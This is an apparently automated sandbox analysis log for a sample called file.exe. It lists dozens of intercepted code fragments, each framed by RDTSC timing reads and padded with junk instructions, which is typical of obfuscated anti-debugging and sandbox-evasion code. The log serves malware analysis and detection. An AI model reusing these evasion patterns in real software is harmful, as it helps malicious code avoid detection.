Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEB87 second address: ECEBC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ebx 0x0000000d push eax 0x0000000e jmp 00007F3B80B67560h 0x00000013 pop eax 0x00000014 pop ebx 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F3B80B67566h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEBC1 second address: ECEBDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jnp 00007F3B813BFB8Eh 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEC7C second address: ECEC80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEC80 second address: ECECC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F3B813BFB88h 0x0000000f pop edx 0x00000010 nop 0x00000011 sub dword ptr [ebp+122D20FBh], esi 0x00000017 lea eax, dword ptr [ebp+12481665h] 0x0000001d push edx 0x0000001e mov dword ptr [ebp+122D2C3Bh], esi 0x00000024 pop ecx 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F3B813BFB98h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECECC2 second address: EB5511 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D2EC5h], ebx 0x00000012 lea eax, dword ptr [ebp+12481621h] 0x00000018 sub dword ptr [ebp+122D37DAh], esi 0x0000001e push eax 0x0000001f jng 00007F3B80B67568h 0x00000025 push ebx 0x00000026 jmp 00007F3B80B67560h 0x0000002b pop ebx 0x0000002c mov dword ptr [esp], eax 0x0000002f call dword ptr [ebp+122D2B4Bh] 0x00000035 pushad 0x00000036 jp 00007F3B80B6755Ch 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5511 second address: EB5537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F3B813BFB88h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007F3B813BFB8Bh 0x00000016 js 00007F3B813BFB86h 0x0000001c popad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F115D1 second address: F115E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push esi 0x00000008 ja 00007F3B80B67556h 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F119FA second address: F11A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11A06 second address: F11A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3B80B67556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11A10 second address: F11A20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jo 00007F3B813BFB86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11A20 second address: F11A3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67565h 0x00000007 jng 00007F3B80B67556h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11A3F second address: F11A5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3B813BFB99h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11A5D second address: F11A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007F3B80B6755Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F16708 second address: F16718 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3B813BFB92h 0x00000008 jns 00007F3B813BFB86h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F16718 second address: F16724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 ja 00007F3B80B67556h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F16724 second address: F1673F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB97h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F16868 second address: F16872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F3B80B67556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F16B54 second address: F16B6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F3B813BFB91h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F16B6D second address: F16B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F172ED second address: F172F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1771D second address: F17728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17728 second address: F1772E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A146 second address: F1A153 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jo 00007F3B80B67556h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A153 second address: F1A181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3B813BFB86h 0x0000000a jmp 00007F3B813BFB95h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jno 00007F3B813BFB86h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A181 second address: F1A185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A185 second address: F1A18F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3B813BFB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1D0B2 second address: F1D11E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67565h 0x00000007 jmp 00007F3B80B67561h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F3B80B67561h 0x00000013 popad 0x00000014 pushad 0x00000015 jnp 00007F3B80B6756Ah 0x0000001b jmp 00007F3B80B67564h 0x00000020 jmp 00007F3B80B67562h 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1C9E5 second address: F1C9EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1C9EB second address: F1C9F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1CC7A second address: F1CC85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1CC85 second address: F1CC95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3B80B6755Bh 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1CC95 second address: F1CC9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1CC9B second address: F1CCA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1CCA1 second address: F1CCA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1CDF9 second address: F1CDFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F20786 second address: F2078A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F265A0 second address: F265A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2516F second address: F25173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F25173 second address: F2517D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3B80B67556h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F25844 second address: F25848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F25848 second address: F2584C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26236 second address: F26252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3B813BFB93h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26252 second address: F26295 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B6755Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jng 00007F3B80B67556h 0x00000013 push edi 0x00000014 pop edi 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 jmp 00007F3B80B67569h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jg 00007F3B80B67556h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26295 second address: F26299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26299 second address: F262B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67565h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F262B4 second address: F262BE instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3B813BFB8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F262BE second address: F262C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F262C6 second address: F262CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29602 second address: F29608 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2993D second address: F29957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3B813BFB8Fh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29957 second address: F2995B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29C4E second address: F29C75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB96h 0x00000007 jmp 00007F3B813BFB8Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29DCB second address: F29DCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29F27 second address: F29F31 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3B813BFB86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29F31 second address: F29F51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3B80B67562h 0x0000000d jnl 00007F3B80B67556h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29F51 second address: F29F5E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3B813BFB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29F5E second address: F29F71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3B80B67556h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F3B80B67556h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3202F second address: F32033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32033 second address: F32052 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67569h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32052 second address: F32058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30226 second address: F30238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3B80B6755Dh 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30238 second address: F3024C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007F3B813BFB86h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jnc 00007F3B813BFB86h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3062C second address: F3064A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F3B80B67566h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3064A second address: F3064E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30954 second address: F3095A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3095A second address: F3095E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30E64 second address: F30E7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67564h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30E7C second address: F30F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F3B813BFB92h 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ebx 0x0000000f jmp 00007F3B813BFB99h 0x00000014 jno 00007F3B813BFB96h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push edi 0x0000001f pop edi 0x00000020 jp 00007F3B813BFB86h 0x00000026 pushad 0x00000027 popad 0x00000028 jbe 00007F3B813BFB86h 0x0000002e popad 0x0000002f pushad 0x00000030 jnp 00007F3B813BFB86h 0x00000036 jmp 00007F3B813BFB93h 0x0000003b jmp 00007F3B813BFB98h 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30F0F second address: F30F1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F3B80B67556h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30F1B second address: F30F21 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30F21 second address: F30F2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30F2B second address: F30F2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F371F3 second address: F371FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F3B80B67556h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F371FF second address: F37203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37203 second address: F37227 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnl 00007F3B80B67556h 0x0000000d jmp 00007F3B80B67560h 0x00000012 pop edi 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push edi 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37227 second address: F3722D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3722D second address: F37235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3AD53 second address: F3AD7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ebx 0x00000007 jno 00007F3B813BFB9Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A209 second address: F3A20F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A20F second address: F3A217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A217 second address: F3A21C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A21C second address: F3A223 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A223 second address: F3A236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F3B80B67556h 0x0000000d jl 00007F3B80B67556h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A236 second address: F3A23A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A76F second address: F3A775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A775 second address: F3A779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A779 second address: F3A794 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3B80B6755Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F3B80B67562h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A794 second address: F3A79A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3AA55 second address: F3AA5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4079F second address: F407A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81455 second address: E8145B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8145B second address: E8145F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40C39 second address: F40C64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3B80B67569h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 jp 00007F3B80B67556h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40C64 second address: F40CA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB99h 0x00000007 jmp 00007F3B813BFB8Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3B813BFB95h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40E2B second address: F40E41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3B80B67562h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40FAB second address: F40FD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 jc 00007F3B813BFB8Ah 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007F3B813BFB8Eh 0x0000001a pushad 0x0000001b push edx 0x0000001c pop edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40FD2 second address: F40FDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3B80B67556h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40FDD second address: F40FE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
